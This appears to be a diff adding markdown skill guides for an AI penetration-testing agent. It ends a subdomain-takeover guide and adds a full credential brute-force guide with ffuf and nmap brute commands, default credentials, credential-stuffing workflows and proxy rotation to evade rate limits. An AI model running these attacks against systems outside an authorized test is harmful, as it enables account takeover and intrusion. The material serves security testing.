- Website vs API endpoints differ in claimability and fingerprints
|
|
103
|
+
|
|
104
|
+
### Serverless and Hosting
|
|
105
|
+
|
|
106
|
+
- GitHub/GitLab Pages, Netlify, Vercel, Azure Static Web Apps: domain binding flows vary
|
|
107
|
+
- Most require TXT now, but historical projects may not
|
|
108
|
+
|
|
109
|
+
### CDN and Edge
|
|
110
|
+
|
|
111
|
+
- CloudFront/Fastly/Azure CDN/Akamai: alternate domain verification differs
|
|
112
|
+
- Some products historically allowed alt-domain claims without proof
|
|
113
|
+
|
|
114
|
+
### DNS Delegations
|
|
115
|
+
|
|
116
|
+
- Child-zone NS delegations outrank parent records
|
|
117
|
+
- Control of delegated NS yields full control of all hosts below that label
|
|
118
|
+
|
|
119
|
+
## Testing Methodology
|
|
120
|
+
|
|
121
|
+
1. **Enumerate subdomains** - Aggregate CT logs, passive DNS, and org inventory
|
|
122
|
+
2. **Resolve DNS** - All RR types: A/AAAA, CNAME, NS, MX, TXT; keep CNAME chains
|
|
123
|
+
3. **HTTP/TLS probe** - Capture status, body, error text, Server headers, certificate SANs
|
|
124
|
+
4. **Fingerprint providers** - Map known "unclaimed/missing resource" signatures
|
|
125
|
+
5. **Attempt claim** (with authorization) - Create missing resource with exact required name
|
|
126
|
+
6. **Validate control** - Serve minimal unique payload; confirm over HTTPS
|
|
127
|
+
|
|
128
|
+
## Validation
|
|
129
|
+
|
|
130
|
+
1. Before: record DNS chain, HTTP response (status/body length/fingerprint), and TLS details
|
|
131
|
+
2. After claim: serve unique content and verify over HTTPS at the target subdomain
|
|
132
|
+
3. Optional: issue a DV certificate (legal scope) and reference CT entry as evidence
|
|
133
|
+
4. Demonstrate impact chains (CSP/script-src trust, OAuth redirect acceptance, cookie Domain scoping)
|
|
134
|
+
|
|
135
|
+
## Severity
|
|
136
|
+
|
|
137
|
+
- Score severity based on current claimability plus trusted-origin impact, not just a provider-branded error page
|
|
138
|
+
- When evaluating severity, use `web_search` (if available) for the exact provider/product to confirm whether it now enforces subdomain takeover prevention such as TXT/custom-domain ownership verification or reserved-hostname protections; if search is unavailable, do not treat that absence as evidence that the provider prevents claiming
|
|
139
|
+
- If you have positively confirmed the provider currently prevents third-party claiming and you cannot bypass that control, treat the finding as low severity rather than a confirmed takeover — an unconfirmed provider control is not grounds for downgrading
|
|
140
|
+
- Reserve high/critical severity for cases where you can claim the resource or strongly prove claimability and show meaningful impact such as OAuth redirect abuse, cookie scope abuse, CSP trust, email receipt, or NS delegation control. E.g. Elastic Beanstalk takeovers are still generally legitimate.
|
|
141
|
+
|
|
142
|
+
## False Positives
|
|
143
|
+
|
|
144
|
+
- "Unknown domain" pages that are not claimable due to enforced TXT/ownership checks
|
|
145
|
+
- Provider-branded default pages for valid, owned resources (not a takeover)
|
|
146
|
+
- Soft 404s from your own infrastructure or catch-all vhosts
|
|
147
|
+
|
|
148
|
+
## Impact
|
|
149
|
+
|
|
150
|
+
- Content injection under trusted subdomain: phishing, malware delivery, brand damage
|
|
151
|
+
- Cookie and CORS pivot: if parent site sets Domain-scoped cookies or allows subdomain origins
|
|
152
|
+
- OAuth/SSO abuse via whitelisted redirect URIs
|
|
153
|
+
- Email delivery manipulation for subdomain
|
|
154
|
+
|
|
155
|
+
## Pro Tips
|
|
156
|
+
|
|
157
|
+
1. Build a pipeline: enumerate (subfinder) → resolve (dig) → probe (httpx) → fingerprint (nuclei/custom) → verify claims
|
|
158
|
+
2. Maintain a current fingerprint corpus; provider messages change frequently
|
|
159
|
+
3. Prefer minimal PoCs: static "ownership proof" page and, where allowed, DV cert issuance
|
|
160
|
+
4. Monitor CT for unexpected certs on your subdomains
|
|
161
|
+
5. Eliminate dangling DNS in decommission workflows first
|
|
162
|
+
6. For NS delegations, treat any expired nameserver domain as critical
|
|
163
|
+
7. Use CAA to limit certificate issuance while you triage
|
|
164
|
+
|
|
165
|
+
## Summary
|
|
166
|
+
|
|
167
|
+
Subdomain safety is lifecycle safety: if DNS points at anything, you must own and verify the thing on every provider and product path. Remove or verify—there is no safe middle.
|
|
@@ -0,0 +1,200 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: weak-password-detection
|
|
3
|
+
description: Weak password detection, credential stuffing, and brute-force testing using common passwords, system-generated credentials, and HTTP fuzzing / NSE brute-force tooling
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Weak Password Detection / Credential Brute-Force
|
|
7
|
+
|
|
8
|
+
Weak or default credentials remain one of the most prevalent and high-impact vulnerabilities. This skill covers systematic detection of weak passwords through dictionary attacks, credential stuffing, system-generated password prediction, and brute-force tooling.
|
|
9
|
+
|
|
10
|
+
## Attack Surface
|
|
11
|
+
|
|
12
|
+
- Login portals (web, API, mobile, SSH, FTP, Telnet, RDP)
|
|
13
|
+
- Admin panels, dashboards, and management interfaces
|
|
14
|
+
- Default or hardcoded credentials in applications and devices
|
|
15
|
+
- Self-registration flows with weak password policies
|
|
16
|
+
- Password reset flows that generate predictable tokens or passwords
|
|
17
|
+
- API key and token authentication with weak secrets
|
|
18
|
+
|
|
19
|
+
## Reconnaissance
|
|
20
|
+
|
|
21
|
+
### Identify Authentication Endpoints
|
|
22
|
+
|
|
23
|
+
- Standard login forms: `/login`, `/signin`, `/auth`, `/authenticate`, `/api/login`
|
|
24
|
+
- Admin panels: `/admin`, `/administrator`, `/manage`, `/console`, `/cpanel`
|
|
25
|
+
- API auth: `/api/v1/token`, `/oauth/token`, `/api/auth`, `/graphql` (login mutations)
|
|
26
|
+
- Service ports: SSH (22), FTP (21), Telnet (23), SMB (445), RDP (3389), MySQL (3306), PostgreSQL (5432), Redis (6379), MongoDB (27017)
|
|
27
|
+
- Mobile app login endpoints and deep-link auth handlers
|
|
28
|
+
|
|
29
|
+
### Determine Authentication Mechanism
|
|
30
|
+
|
|
31
|
+
- Form-based (POST with username/password fields)
|
|
32
|
+
- Basic Authentication (Base64 `Authorization: Basic ...`)
|
|
33
|
+
- Bearer token / JWT (password grant flow)
|
|
34
|
+
- API key in header, query parameter, or body
|
|
35
|
+
- Multi-step authentication (username first, then password)
|
|
36
|
+
- CAPTCHA presence and type (reCAPTCHA, hCaptcha, image-based, math)
|
|
37
|
+
- Rate limiting indicators (429 responses, lockout messages, delays)
|
|
38
|
+
|
|
39
|
+
### Enumerate Valid Usernames
|
|
40
|
+
|
|
41
|
+
- Error message differentiation: "Invalid username" vs "Invalid password"
|
|
42
|
+
- Registration page username availability checks
|
|
43
|
+
- Password reset flow: response timing or message leakage
|
|
44
|
+
- Public profiles, API responses, or metadata exposing usernames
|
|
45
|
+
- Common patterns: `admin`, `administrator`, `root`, `user`, `test`, `guest`, `support`, `service`, `api`, `dev`, `ops`
|
|
46
|
+
- Email format derivation from company domain patterns
|
|
47
|
+
|
|
48
|
+
## Key Vulnerabilities
|
|
49
|
+
|
|
50
|
+
### Weak Password Policies
|
|
51
|
+
|
|
52
|
+
- No minimum length or complexity requirements
|
|
53
|
+
- Allowing common passwords: `password`, `123456`, `qwerty`, `admin`, `letmein`
|
|
54
|
+
- Not checking against breached password databases (Have I Been Pwned)
|
|
55
|
+
- Case-insensitive password storage
|
|
56
|
+
- No password history enforcement
|
|
57
|
+
- Excessively short maximum length (indicates plaintext or weak hashing)
|
|
58
|
+
|
|
59
|
+
### Default and Hardcoded Credentials
|
|
60
|
+
|
|
61
|
+
- Vendor defaults: `admin/admin`, `admin/password`, `root/root`, `guest/guest`
|
|
62
|
+
- Application frameworks: `django/admin`, `tomcat/tomcat`, `weblogic/weblogic`
|
|
63
|
+
- IoT devices, routers, cameras: manufacturer-specific defaults
|
|
64
|
+
- Database defaults: `postgres/postgres`, `sa/sa`, `root/(empty)`
|
|
65
|
+
- Cloud defaults: AWS instance metadata, Azure default service principals
|
|
66
|
+
- Hardcoded in source code, configuration files, or documentation
|
|
67
|
+
|
|
68
|
+
### Credential Stuffing
|
|
69
|
+
|
|
70
|
+
- Users reuse passwords across services
|
|
71
|
+
- Breached credential lists (COMB, Collection #1-5, etc.) enable mass account takeover
|
|
72
|
+
- No multi-factor authentication allows direct access with valid credentials
|
|
73
|
+
- Missing breach detection or forced password rotation after known leaks
|
|
74
|
+
|
|
75
|
+
### Predictable System-Generated Passwords
|
|
76
|
+
|
|
77
|
+
- Sequential or pattern-based: `Password1`, `Welcome2025!`, `CompanyName123`
|
|
78
|
+
- Time-based generation: passwords derived from registration timestamp
|
|
79
|
+
- Weak randomness: predictable PRNG seeds in password generators
|
|
80
|
+
- Reset tokens that double as temporary passwords with short expiration
|
|
81
|
+
|
|
82
|
+
### Brute-Force Vulnerabilities
|
|
83
|
+
|
|
84
|
+
- No rate limiting on login attempts
|
|
85
|
+
- Absent or ineffective account lockout (client-side only, easily bypassed)
|
|
86
|
+
- IP-based blocking without session/user correlation (rotate IPs via proxy)
|
|
87
|
+
- CAPTCHA bypassable or only triggered after excessive attempts
|
|
88
|
+
- Parallel login attempts not tracked (race conditions on attempt counters)
|
|
89
|
+
- Verbose error messages revealing valid usernames
|
|
90
|
+
|
|
91
|
+
## Advanced Techniques
|
|
92
|
+
|
|
93
|
+
### Targeted Password Lists
|
|
94
|
+
|
|
95
|
+
- Generate custom wordlists from:
|
|
96
|
+
- Company name, product names, and domain components
|
|
97
|
+
- Geographic location, industry terms
|
|
98
|
+
- Season + year patterns: `Summer2025!`, `Winter2026@`
|
|
99
|
+
- Keyboard walks and leet speak variations
|
|
100
|
+
- Previously breached passwords for the target domain
|
|
101
|
+
- Scrape the target site to build a content-derived wordlist (e.g. a small custom Python crawler that harvests unique words)
|
|
102
|
+
|
|
103
|
+
### Credential Stuffing Workflows
|
|
104
|
+
|
|
105
|
+
- Use breach databases filtered by target domain or related domains
|
|
106
|
+
- Test email:password pairs where email matches target domain
|
|
107
|
+
- Test username:password pairs with common username derivations
|
|
108
|
+
- Validate successful logins without triggering MFA by checking session endpoints
|
|
109
|
+
|
|
110
|
+
### Multi-Step Authentication Bypass
|
|
111
|
+
|
|
112
|
+
- Username enumeration → password brute-force on second step
|
|
113
|
+
- Session fixation between steps: manipulate step identifiers
|
|
114
|
+
- Skip steps via direct URL access to later stages
|
|
115
|
+
- Response manipulation to bypass verification checks
|
|
116
|
+
|
|
117
|
+
### API and Mobile-Specific
|
|
118
|
+
|
|
119
|
+
- GraphQL login mutations: batch brute-force via array inputs
|
|
120
|
+
- Mobile APIs often lack rate limiting compared to web frontends
|
|
121
|
+
- JWT password grant flows: brute-force against `/token` endpoint
|
|
122
|
+
- OAuth2 password grant: test `grant_type=password` with weak credentials
|
|
123
|
+
|
|
124
|
+
### Service-Level Brute-Force
|
|
125
|
+
|
|
126
|
+
- HTTP login endpoints: `ffuf` or custom scripts (see Tooling)
|
|
127
|
+
- SSH/FTP/SMB/Telnet and other services: `nmap` NSE `*-brute` scripts, e.g. `nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
|
|
128
|
+
- Databases (MySQL, PostgreSQL, MongoDB, Redis): weak/default credentials via the matching NSE brute script (`mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`) or a custom client script
|
|
129
|
+
- Any protocol lacking a ready script: custom Python
|
|
130
|
+
|
|
131
|
+
## Tooling
|
|
132
|
+
|
|
133
|
+
### ffuf (primary for web logins)
|
|
134
|
+
|
|
135
|
+
- Login brute-force with multiple users and passwords:
|
|
136
|
+
`ffuf -w users.txt:USER -w passwords.txt:PASS -u https://target.com/login -X POST -d "username=USER&password=PASS" -fr "Invalid"`
|
|
137
|
+
- JSON body / custom headers via `-H` and a JSON `-d` payload
|
|
138
|
+
- Filter by response size, status code, or regex to identify successes
|
|
139
|
+
|
|
140
|
+
### nmap NSE (service brute-force)
|
|
141
|
+
|
|
142
|
+
- `*-brute` scripts cover many non-HTTP services:
|
|
143
|
+
`nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt target.com`
|
|
144
|
+
- Available scripts include `ssh-brute`, `ftp-brute`, `smb-brute`, `telnet-brute`, `mysql-brute`, `pgsql-brute`, `mongodb-brute`, `redis-brute`, `http-brute`, `http-form-brute`.
|
|
145
|
+
|
|
146
|
+
### Custom Python Scripts
|
|
147
|
+
|
|
148
|
+
- Use `requests` with threading for high-speed API brute-force
|
|
149
|
+
- Implement jitter and proxy rotation to evade rate limiting
|
|
150
|
+
- Parse CSRF tokens dynamically between requests
|
|
151
|
+
|
|
152
|
+
### Wordlists
|
|
153
|
+
|
|
154
|
+
No password wordlists ship in the sandbox by default — download what you need into `/home/pentester/tools/wordlists` at runtime:
|
|
155
|
+
- Common passwords (e.g. `rockyou.txt`) from its upstream source
|
|
156
|
+
- SecLists `Passwords/` and `Passwords/Default-Credentials/` (vendor defaults) from https://github.com/danielmiessler/SecLists
|
|
157
|
+
- Custom lists from target-specific scraping
|
|
158
|
+
- Breach compilation subsets filtered by target relevance
|
|
159
|
+
|
|
160
|
+
## Validation
|
|
161
|
+
|
|
162
|
+
1. Confirm successful login with captured credentials (session token, cookie, or JWT)
|
|
163
|
+
2. Verify account access level: admin vs user privileges
|
|
164
|
+
3. Check if MFA is enforced post-login or can be bypassed
|
|
165
|
+
4. Test credential reuse across other endpoints or services
|
|
166
|
+
5. Document password policy weaknesses that allowed the breach
|
|
167
|
+
6. Verify if the same credentials work on staging, dev, or related domains
|
|
168
|
+
|
|
169
|
+
## False Positives
|
|
170
|
+
|
|
171
|
+
- Honey accounts or honeypot responses designed to mislead attackers
|
|
172
|
+
- Temporary lockouts that resolve quickly (distinguish from permanent bans)
|
|
173
|
+
- Different error messages that don't actually indicate valid username enumeration
|
|
174
|
+
- CAPTCHA or WAF blocking that appears as a failed login
|
|
175
|
+
- Rate limiting that returns 429 instead of 401 (adjust timing)
|
|
176
|
+
|
|
177
|
+
## Impact
|
|
178
|
+
|
|
179
|
+
- Complete account takeover for affected users
|
|
180
|
+
- Administrative access leading to full system compromise
|
|
181
|
+
- Lateral movement via reused credentials across services
|
|
182
|
+
- Data exfiltration, privilege escalation, and persistence
|
|
183
|
+
- Reputational damage and compliance violations (GDPR, PCI-DSS)
|
|
184
|
+
|
|
185
|
+
## Pro Tips
|
|
186
|
+
|
|
187
|
+
1. Always start with default credentials and vendor-specific lists before broad brute-force
|
|
188
|
+
2. Enumerate usernames first; password brute-force without valid users is inefficient
|
|
189
|
+
3. Use small, targeted wordlists before massive lists like rockyou.txt
|
|
190
|
+
4. Monitor for rate limiting and adapt delays; aggressive brute-force causes IP bans and alerts
|
|
191
|
+
5. Test for password spraying (one password, many users) before targeted brute-force
|
|
192
|
+
6. Check for concurrent session limits; successful logins may kick out legitimate users
|
|
193
|
+
7. GraphQL batching can test multiple credentials in a single request, bypassing per-request limits
|
|
194
|
+
8. Document the password policy and recommend minimum standards (length, complexity, breach checking)
|
|
195
|
+
9. For web logins prefer `ffuf`; for other services use `nmap` NSE `*-brute` scripts or custom scripts with equivalent logic
|
|
196
|
+
10. Combine with MFA testing: weak passwords plus missing MFA is a critical finding
|
|
197
|
+
|
|
198
|
+
## Summary
|
|
199
|
+
|
|
200
|
+
Weak password detection requires systematic enumeration of authentication surfaces, intelligent wordlist selection, and careful brute-force execution. The highest impact often comes from default credentials, password spraying, and credential stuffing rather than exhaustive brute-force. Always validate findings with confirmed logins and assess the full scope of account compromise.
|